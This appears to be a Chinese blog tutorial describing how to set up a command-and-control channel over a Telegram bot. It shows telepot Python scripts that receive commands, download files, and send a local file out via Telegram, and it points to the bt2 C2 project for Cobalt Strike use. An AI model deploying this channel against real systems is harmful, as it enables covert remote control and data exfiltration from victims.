前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >TG 下的C2创建过程

TG 下的C2创建过程

作者头像
洛米唯熊
发布2021-11-15 10:18:08
1.1K0
发布2021-11-15 10:18:08
举报
文章被收录于专栏:洛米唯熊洛米唯熊

0x00:简介

没啥新技术,基本就是老技术。我这里只是做笔记,仅供学习。

0x01:环境部署过程

1、申请TG token

代码语言:javascript
复制
https://telegram.me/botfather

这里有api的调用文档

代码语言:javascript
复制
https://core.telegram.org/bots/api

2、利用python 调用

代码语言:javascript
复制
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
    print(msg)
def main(): 
    try:
        bot.message_loop(handle)
    except Exception as err:
        print (err)
    while True:
        time.sleep(10)
if __name__ == '__main__':
    main()

3、测试token 调用效果

(记得要国外服务器的运行脚本,不然运行没结果。我自己的没结果)

服务器上运行

到TG上去对你的机器人说话

Python脚本看到你的消息

4、 服务端到客户端

PS:建议看一下API文档在来看

提取文字消息

使用glance()可以从接收的消息中提取一个元组

代码语言:javascript
复制
(content_type,chat_type,chat_id)

content_type 包括

代码语言:javascript
复制
text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.

chat_type 包括

代码语言:javascript
复制
private, group, or channel.

所以我们可以使用glance()把接收的文字消息提取出来,代码如下:

代码语言:javascript
复制

#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
    content_type, chat_type, chat_id = telepot.glance(msg)    

    if content_type == 'text':
        received_command = msg['text']
        print (received_command)        
    else:
        print (content_type, chat_type, chat_id)
        return
def main():  
    try:
        bot.message_loop(handle)
    except Exception as err:
        print (err)
    while True:
        time.sleep(10)

if __name__ == '__main__':
    main()

接收文件

执行接收消息的python代码,可获得接收文件的消息格式.

下载文件需要使用

代码语言:javascript
复制
bot.download_file(file_id, filename)
代码语言:javascript
复制
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
    content_type, chat_type, chat_id = telepot.glance(msg)    

    if content_type == 'text':
        received_command = msg['text']
        print (received_command)    
    elif content_type == 'document':
        file_id = msg['document']['file_id']
        filename = msg['document']['file_name']
        bot.download_file(file_id, filename)
        print ("[+] Download File Success!")
    else:
        print (content_type, chat_type, chat_id)
        return
def main():  
    try:
        bot.message_loop(handle)
    except Exception as err:
        print (err)
    while True:
        time.sleep(10)

if __name__ == '__main__':
    main()

5、 客户端到服务端

发送消息使用

代码语言:javascript
复制
bot.sendMessage(chat_id, message)

向Server端发送一条消息,代码如下

代码语言:javascript
复制
#!python
import telepot
from pprint import pprint
bot = telepot.Bot('you-token')
bot.sendMessage(id, 'Hello C2 Server Jaky')

id换成你自己的ID

发送文件使用

代码语言:javascript
复制
bot.sendDocument(chat_id,file)

代码如下:

代码语言:javascript
复制
#!python
import telepot
from pprint import pprint
bot = telepot.Bot('you-token')
f = open('/root/学习资料-种子.txt', 'rb')  
bot.sendDocument(id, f)

id换成你自己的ID

0x02:环境测试过程

1、搭建C2 Server

代码语言:javascript
复制
git clone https://github.com/blazeinfosec/bt2.git

2、编辑参数

编辑bt2.py

设置以下参数

代码语言:javascript
复制
API_TOKEN:token
BOTMASTER_ID:自己帐号的id

接下来就可以去python代码里扩展 CS上线了

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-11-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档